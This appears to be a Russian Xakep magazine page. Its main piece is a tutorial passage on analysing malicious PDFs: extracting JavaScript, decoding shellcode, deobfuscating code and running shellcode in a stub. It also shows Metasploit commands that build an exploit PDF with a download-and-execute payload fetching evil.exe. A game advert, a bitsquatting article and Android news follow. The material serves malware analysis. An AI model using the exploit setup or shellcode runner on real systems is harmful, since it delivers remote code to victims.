  • pdfextract и pdf.py извлекают JavaScript из PDF-файлов;
  • Malzilla и SpiderMonkey пригодятся для деобфускации внедренного в PDF JavaScript-кода;
  • PDF Stream Dumper — многофункциональная утилита для исследования PDF-файлов, собравшая всю мощь многих утилит под одним графическим интерфейсом;
  • Peepdf и pdfsh предоставляют интерактивный шелл для исследования PDF-файлов;
  • SWF mastah извлекает SWF-объекты из PDF-файлов.

Непростая задача

Обычно злоумышленники стараются как можно лучше замаскировать наличие в PDF-файле какого-либо злонамеренного контента. Для этого они прибегают к обфускации JavaScript-кода, манипуляциям над строками и прочим приемам, усложняющим анализ как антивирусным решениям, так и исследователям. Сегодня перед нами стоит задача, несмотря на все хитрые приемы злоумышленников, научиться находить вредоносные части PDF-файлов и определять, какой функционал кроет в себе внедренный шелл-код.

В принципе, про анализ любого вредоносного PDF-файла можно написать целую статью, так как каждый экземпляр использует свой шелл-код, свои методы для сокрытия вредоносной части и прочие трюки, осложняющие жизнь исследователю. Поэтому мы рассмотрим лишь основные методы сокрытия и техники поиска, которые применимы ко всем PDF-файлам. А в каждой конкретной ситуации придется думать головой и искать методы решения. Начнем с рассмотрения самой простой ситуации и постепенной перейдем к более сложным.

Обычный JavaScript

Самый простой вариант — это когда над файлом не проводили никаких манипуляций для сокрытия его вредоносного функционала. Представим, что у нас на руках такой файл и нам надо оценить, нормальный ли он или зараженный. Первым шагом необходимо скормить его антивирусу. Если он молчит и говорит, что все ОK, можно обратиться к сервису VirusTotal, чтобы прогнать файл сразу на нескольких антивирусах. Правда, в случае если используется какая-нибудь 0-day-уязвимость, это, скорей всего, не поможет. Поэтому придется проверить все самому. Начнем с того, что выясним, какие интересные объекты входят в состав нашего файла. Прежде всего нас будет интересовать JavaScript, так как в большинстве зараженных PDF используются уязвимости именно в движке JS. Выявить наличие JavaScript-кода в документе можно несколькими способами: либо открыть файл в любом текстовом редакторе и выполнить поиск по /JavaScript или /JS, либо воспользоваться скриптом pdfid.py —pdfid.py 1.pdf, который отобразит все входящие в файл объекты.

Пример работы pdfid.py

Пример работы pdfid.py

Если в документе присутствует JavaScript, то велика вероятность того, что он содержит вредоносный код. Поэтому дальше надо анализировать его. Так как мы начали с самого простого случая, то никаких дополнительных техник сокрытия не используется и вытащить JS-код из PDF’ки можно с помощью pdf-parser.py:

`pdf-parser.py --object 6 --filter --raw 1.pdf > 1.js`

или с помощью PDF Stream Dumper. После чего сохранить в отдельный файл для последующего анализа. Следующим нашим шагом будет изучение кода скрипта и выделение из него шелл-кода для последующего анализа.

Исследование шелл-кода

Анализ JavaScript-кода с помощью PDF Stream Dumper. Переменная ZHZfJa содержит шелл-код

Анализ JavaScript-кода с помощью PDF Stream Dumper. Переменная ZHZfJa содержит шелл-код

Шелл-код в JavaScript обычно формируется при помощи функции unescape, в которую передается строка в юникоде. Для того чтобы шелл-код можно было проанализировать, необходимо восстановить обычный порядок байт для каждого символа. Это можно сделать либо с помощью вспомогательных утилит (например, с помощью Malzilla), либо прямо в консоли Linux:

cat pdf-exp.txt | perl –pe ‘s/\%u(..)(..)/chr(hex($2)).chr(hex($1))/ge’ > shellcode.bin

где pdf-exp.txt — файл с исходным шелл-кодом, shellcode.bin — файл, в который будет записан преобразованный шелл-код. После этого можно приступить к его исследованию. Для этого можно воспользоваться тулзой sctest, входящей в библиотеку libemu:

sctest -Ss 1000000000 < shellcode.bin
Исследование шелл-кода при помощи sctest

Исследование шелл-кода при помощи sctest

После чего мы получим список всех API-вызовов, выполняемых из шелл-кода. Есть у sctest еще одна интересная возможность, о которой хотелось бы упомянуть, — с ее помощью исследуемый код можно представить в виде графа вызовов:

sctest -Ss 1000000000 -G shellcode_graph.dot < shellcode.bin 
dot -T png -o shellcode_graph.png shellcode_graph.dot

Иногда встречаются ситуации, когда для исследования приходится пользоваться обычным отладчиком. Перед этим надо написать небольшую вспомогательную программку, которая бы передавала управление на шелл-код, следующего вида:

#include <windows.h>

char code[]="скопировать шелл-код сюда";

int main(int argc, char **argv)
{
  DWORD old;    
  VirtualProtect(&code, 227, PAGE_EXECUTE_READWRITE, &old); 
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

После чего скомпилировать и запустить под отладчиком для дальнейшего анализа.

Сжатые потоки

В рассмотренном выше случае все было предельно упрощено, увы, но в реальной жизни такие сценарии практически не встречаются. Поэтому давай рассмотрим наиболее популярные приемы, которые используются для сокрытия вредоносного кода.

Если ты обратил внимание, когда мы говорили про структуру PDF-документа, мы сказали, что у объекта Stream может быть атрибут /Filter, который определяет, каким методом сжаты данные потока. Причем к потоку могут быть применены сразу несколько фильтров (например,/Filter [/Fl /Ahx]). Что касается интересующего нас объекта JavaScript, то он, в свою очередь, должен содержать либо функцию, либо косвенную ссылку на код для выполнения. Поэтому зараженные файлы очень часто содержат JavaScript-объекты следующего вида: /JS (this.Z0pEA5PLzPyyw\(\)). При этом простой поиск функции по имени ничего не даст, так как она скорей всего будет расположена в сжатом потоке. Чтобы получить распакованное содержимое потока, можно воспользоваться утилитой PDFtk:

pdftk 1.pdf output uncompressed.pdf uncompress`

После этого у нас появится файл uncompressed.pdf с распакованным содержимым, пригодным для дальнейшего анализа. Ну а дальше действуем по использованной выше схеме.

Обфусцированный JavaScript

К сожалению, так быстро проанализировать JavaScript-код и выдернуть из него шелл-код, как мы рассматривали до этого, в реальной ситуации не получится. Практически всегда, чтобы запутать антивирусы и усложнить жизнь исследователям, JavaScript-код обфусцируют. В таком случае определить, что он делает, и выделить в нем шелл-код становится уже не такой простой задачей. Деобфусцировать код можно несколькими способами. Можно, например, выполнить его в браузере и вывести через alert() преобразованный код. Или воспользоваться программкой SpiderMonkey, а точнее, ее модифицированной версией, которую можно взятьтут. В отличие от оригинальной версии, которая только интерпретирует JavaScript-код, данный мод позволяет логировать в файл вызовы функций eval()document.write(), которые чаще всего используются в обфусцированном коде для приведения его в первоначальный вид. Таким образом, перехватив вызов этих функций и сохранив возвращаемый результат в файл, мы получим деобфусцированную версию кода, из которой, как и в предыдущих случаях, необходимо будет извлечь шелл-код и провести его анализ. Алгоритм действий таков:

  • сохраняем обфусцированный код в отдельный файл (например, sample.js);
  • запускаем его в SpiderMonkey — js sample.js;
  • идем смотреть логи eval*.logwrite*.log в поисках деобфусцированного кода;
  • разбираем полученный код и выделяем из него шелл-код.

Ну а дальше анализируем шелл-код и выясняем его функционал.

Эксплойт использует уязвимость в media.newPlayer (CVE-2009-4324)

Эксплойт использует уязвимость в media.newPlayer (CVE-2009-4324)

PDF & SWF

До этого момента мы рассматривали только уязвимости, связанные с ошибками в движке JavaScript. Однако существует еще один вектор распространения вредоносных программ. Дело в том, что PDF-файлы можно использовать просто как «контейнеры”» для хранения и доставки пользователю зараженных SWF-файлов. Да, эти два популярных продукта приносят много хлопот Adobe, которой периодически приходится выпускать security-обновления :). Чтобы проанализировать вредоносные Flash-файлы, их надо предварительно вытащить из PDF-документа. Выполнить это можно при помощи утилиты SWF Mastah:

swf_mastah.py -f malicious.pdf -o ./

Опция -o отвечает за то, в какую директорию будут извлечены SWF-файлы. Для решения этой задачи можно также воспользоваться и программой PDF Stream Dumper. Как только SWF-файлы окажутся в указанной папке, их можно будет изучить, например с помощью утилит SWFREtools и SWF Investigator. К сожалению, анализ SWF-файлов нам придется оставить за рамками данной статьи.

Подопытные для анализа

Чтобы не сидеть и не ждать, пока тебе придет письмо с PDF-файлом, который можно было бы проанализировать, лучше воспользоваться архивами вредоносных аттачей, использовавшихся для фишинга и целевых атак. Архивы скачиваются без проблем, правда, для их распаковки надо будет связаться с владельцем ресурса, чтобы получить пароль.

Если не хочется ничего скачивать, то можно воспользоваться услугами Metasploit Framework. Запускаем msfconsole и выполняем следующие действия:

msf > use exploit/windows/browser/adobe_media_newplayer
msf exploit(adobe_media_newplayer) > set PAYLOAD windows/download_exec
msf exploit(adobe_media_newplayer) > set URL http://www.xakep.ru/evil.exe
msf exploit(adobe_media_newplayer) > exploit

После чего на порту 8080 поднимается HTTP-сервер, который при подключении к нему возвращает пользователю зараженный выбранным пэйлоадом PDF-файл.

[*] Using URL: http://0.0.0.0:8080/CA1vjWjp
[*]  Local IP: http://192.168.20.11:8080/CA1vjWjp
[*] Server started.

Таким образом, при помощи wget’а (MARKDOWN_HASH2ca5e0cdf185c69cf3e4b4e4a45d87b7MARKDOWN_HASH) или браузера можно заполучить этот файл для дальнейшего анализа.

Подводя итоги

Сегодня мы познакомились с тем, каким образом можно проводить анализ зараженных PDF-файлов, и рассмотрели основные методы защиты вредоносного кода от исследования. Из-за пристального внимания к безопасности продуктов Adobe можно найти в Сети много инструментов, которые могут взять большую часть рутинной работы по анализу PDF’ок на себя. Так что ты всегда сможешь выбрать софт для решения той или иной задачи. Правда, от необходимости шевелить извилинами это тебя никак не избавит. Что касается меня, то мой файл оказался простой пустышкой. В нем не было ни JavaScript, ни встроенных SWF’ок — лишь только пара изображений и текст. Поэтому, немного разочарованный, я пошел дальше ждать своего халявного 0-day-эксплойта. Надеюсь, скоро пришлют :).

WWW


Онлайн-ресурсы для автоматической проверки PDF-файлов: PDF ExaminerJsunpackWepawet,Gallus

 



И снова распродажа от G2A.COM!
2014-09-26 19:33 Anna Yakovleva

Наступают выходные, а значит, пришло время для G2A-распродажи!

  • Новинка этого года (точнее, предзаказ на нее) — Middle-Earth: Shadow of Mordor даст тебе возможность собрать свой отряд орков и отомстить Саурону за все, что он сделал, всего за 570 рублей.
  • Еще одна игра, которую ждали многие, — FIFA 15 с ее улучшенной графикой и динамикой. Выйди на поле и покажи, кто здесь лучший, за 1295 рублей!
  • А для любителей аниме и ярких боев — NARUTO SHIPPUDEN: Ultimate Ninja STORM Revolution всего за 495 рублей. Узнай, что же изменилось в этом красочном и жестоком мире.

Эти и другие игры ты можешь найти на https://www.g2a.com/weeklysaleru.

Также продолжается благотворительная акция — сбор пожертвований в помощь больным детям. Тот, кто пожертвует наибольшую сумму, получит в подарок коллекционный плакат от разработчиков игры Witcher 3.

Facebook-witcher-3-RU



Битсквоттинг: проверка эффективности
2014-09-26 20:24 Джон Сноу

Битсквоттинг – регистрация доменных имен, которые отличаются на один бит от оригинальных. Битсквоттинг по форме похож на тайпосквоттинг, но придуман совершенно для других целей. Если вкратце, то тайпосквоттеры обманывают отдельных пользователей, в то время как битсквоттинг рассчитан на «ловлю ошибок» в миллиардах устройств, подключенных к Сети. Это как ловля сетью против рыбалки с удочкой.

Тайпосквоттеры рассчитывают, что пользователь опечатается при вводе URL или не заметит отличия на один символ в ссылке. Битсквоттинг делает ставку на то, что какое-нибудь из подключенных к интернету устройств случайно ошибется и изменит один нужный бит в запросе к DNS-серверу, так что трафик пойдет вместо оригинального сайта к злоумышленнику. Это похоже на лотерею, и шансы на «правильную» ошибку в конкретном устройстве чрезвычайно малы. Но нужно учитывать, что к Сети подключено более пяти миллиардов устройств.

Каждый компьютер в интернете ежедневно генерирует около полутора тысяч DNS-запросов, из них только три пользователь вводит вручную.

Сбои происходят постоянно на каждом устройстве. Это может быть ошибка в стеке TCP / IP, в памяти маршрутизатора, в браузере и так далее, на любом этапе обработки запроса. Ошибки в ОЗУ возникают из-за перегрева, скачков напряжения, дефектов оборудования, даже космического излучения.

Теоретически к такой атаке уязвимы абсолютно все платформы и все версии ОС, сбой может произойти в любом оборудовании. Например, для ПК с 4 ГБ DRAM количество ошибок составляет от трех в час до трех в месяц. Можно самостоятельно посчитать, сколько сбоев происходит во всех компьютерах мира.

Например, вот бинарное представление адреса «ВКонтакте»:

01110110 01101011 00101110 01100011 01101111 01101101 (vk.com) Запишем 16 альтернативных вариантов, каждый из которых отличается от оригинала на один бит.

11110110 01101011 00101110 01100011 01101111 01101101 (ok.com)
00110110 01101011 00101110 01100011 01101111 01101101 (6k.com)
01010110 01101011 00101110 01100011 01101111 01101101 (Vk.com)
01100110 01101011 00101110 01100011 01101111 01101101 (fk.com)
01111110 01101011 00101110 01100011 01101111 01101101 (~ k.com)
01110010 01101011 00101110 01100011 01101111 01101101 (rk.com)
01110100 01101011 00101110 01100011 01101111 01101101 (tk.com)
01110111 01101011 00101110 01100011 01101111 01101101 (wk.com)
01110110 11101011 00101110 01100011 01101111 01101101 (ve.com)
01110110 00101011 00101110 01100011 01101111 01101101 (V + Ком)
01110110 01001011 00101110 01100011 01101111 01101101 (vK.com)
01110110 01111011 00101110 01100011 01101111 01101101 (V {Ком)
01110110 01100011 00101110 01100011 01101111 01101101 (vc.com)
01110110 01101111 00101110 01100011 01101111 01101101 (vo.com)
01110110 01101001 00101110 01100011 01101111 01101101 (vi.com)
01110110 01101010 00101110 01100011 01101111 01101101 (vj.com)

На практике реально зарегистрировать мы не сможем ни один из этих доменов, так что «ВКонтакте» – один из немногих сайтов в интернете, который защищен от битсквоттерской атаки. Чего не скажешь о microsoft.com (72 варианта для битсквоттинга), amazon.com (48 вариантов) и прочих.

КТО ЭТО ПРИДУМАЛ

Выдвинул идею и озвучил ее на конференции Black Hat в августе 2011 года хакер Артем Динабург (Артем Динабург). Он подготовил доклад, который произвел настоящий фурор.

Действительно, подобная атака отличается исключительной дешевизной и не требует никакой технической подготовки. Дешево и сердито: за сотню долларов ты расставляешь сеть ловушек – и остается только ждать рыбу.

Автор объясняет, что для такого типа атаки нужно выбирать домены CDN и рекламных сетей, контент с которых подгружается на тысячи популярных сайтов. Это такие домены, как fbcdn.net, 2mdn.net и akamai.com. Для проверки своей теории Динабург зарегистрировал 32 домена методом битсквоттинга, в том числе домены CDN и рекламных сетей. Список адресов, которые принимали участие в эксперименте: ikamai.net, aeazon.com,-azon.com, amazgn.com, microsmft.com, micrgsoft.com, miarosoft.com, iicrosoft.com, microsnft.com, mhcrosoft.com , eicrosoft.com, mic2osoft.com, micro3oft.com, li6e.com, 0mdn.net, 2-dn.net, 2edn.net, 2ldn.net, 2mfn.net, 2mln.net, 2odn.net, 6mdn.net , fbbdn.net, fbgdn.net, gbcdn.net, fjcdn.net, dbcdn.net, Руп-servers.net, doublechick.net, do5bleclick.net.

Количество запросов, поступивших на 32 домена, зарегистрированных методом битсквоттинга во время эксперимента с сентября 2010-го по апрель 2011 года

Количество запросов, поступивших на 32 домена, зарегистрированных методом битсквоттинга во время эксперимента с сентября 2010-го по апрель 2011 года

РЕЗУЛЬТАТ ЭКСПЕРИМЕНТА

Безусловно, идея выглядит красиво. Но как мы можем знать, что на битсквоттерские сайты реально придет трафик? Можно ли действительно рассчитывать на случайные ошибки в оперативной памяти маршрутизаторов и прочего оборудования, где не используется ECC?

Эксперимент Динабурга показывает, что смысл есть. К сайтам действительно поступали DNS-запросы и HTTP-запросы и подключались сторонние устройства. За семь с половиной месяцев эксперимента с сентября 2010 года по апрель 2011 года поступило в общей сложности 52 317 запросов с 12 949 уникальными IP-адресами. Если не считать трех искусственных всплесков трафика, то в среднем запросы шли с 59 уникальных IP-адресов в день.

Количество уникальных IP-адресов, с которых поступали запросы, без учета трех искусственных всплесков трафика

Количество уникальных IP-адресов, с которых поступали запросы, без учета трех искусственных всплесков трафика

Артем Динабург до сих пор продолжает анализировать данные, полученные в ходе эксперимента, и публикует свежие результаты в блоге dinaburg.org. Недавно он выложил в открытый доступ запись всех пакетов (PCAP), поступивших на его серверы в ходе эксперимента: dinaburg.org/data/dnslogs.tar.7z. Там есть и автоматически сгенерированные краш-репорты с неправильным битом в адресе, и запросы обновления Windows. Эти примеры показывают, что причиной запросов были действительно ошибки в битах, а не неправильно введенный вручную URL.

В качестве бонуса: скрипт на Python для генерации битсквоттерских доменов: dinaburg.org/data/bitsquat.py.



Google «закручивает гайки» на рынке Android-устройств
2014-09-27 11:45 Denis Mirkov

Google продолжает бороться за контроль над экосистемой ОС Android. Многие производители пытаются устанавливать на мобильные устройства свободную и бесплатную версию AOSP, доступную с исходным кодом. Но в этом случае им запрещено предустанавливать Gmail, Play Store и другие фирменные программы Google. За возможность предустановки фирменных программ нужно платить лицензионные отчисления в Google, а это немалая сумма.

В прессу попали секретные документы Google, в которых говорится об ещё большем ужесточении требований к производителям. Пока что речь не идёт об увеличении отчислений, но Google устанавливает единообразный порядок, как должны выглядеть её приложения на каждом Android-устройстве. В частности, указываются конкретные места, где должны размещаться виджеты и ярлыки. Например, поисковый виджет обязательно должен быть вверху домашнего экрана. Рядом должны присутствовать ярлык Google Play и ярлык, который даёт доступ к 13 другим программам Google, включая Google Chrome, Google Maps, Google Drive, YouTube, Gmail и др.

Кроме того, увеличивается список приложений, обязательных для установки. Он и так вырос с 9 в 2011 году до нынешних 20, но это не предел.

Производители Android-устройств в последнее время неофициально высказываются, что Google «закручивает гайки» со своим договором Mobile Application Distribution Agreement, который они обязаны подписать. В то же время у производителей, по большому счёту, нет выбора. Альтернативные операционные системы Windows Phone, Tizen и Firefox OS не слишком популярны у населения, так что такие смартфоны вряд ли будут пользоваться большим спросом. Android сейчас контролирует 85% мирового рынка смартфонов.




© Copyright Gameland

В избранное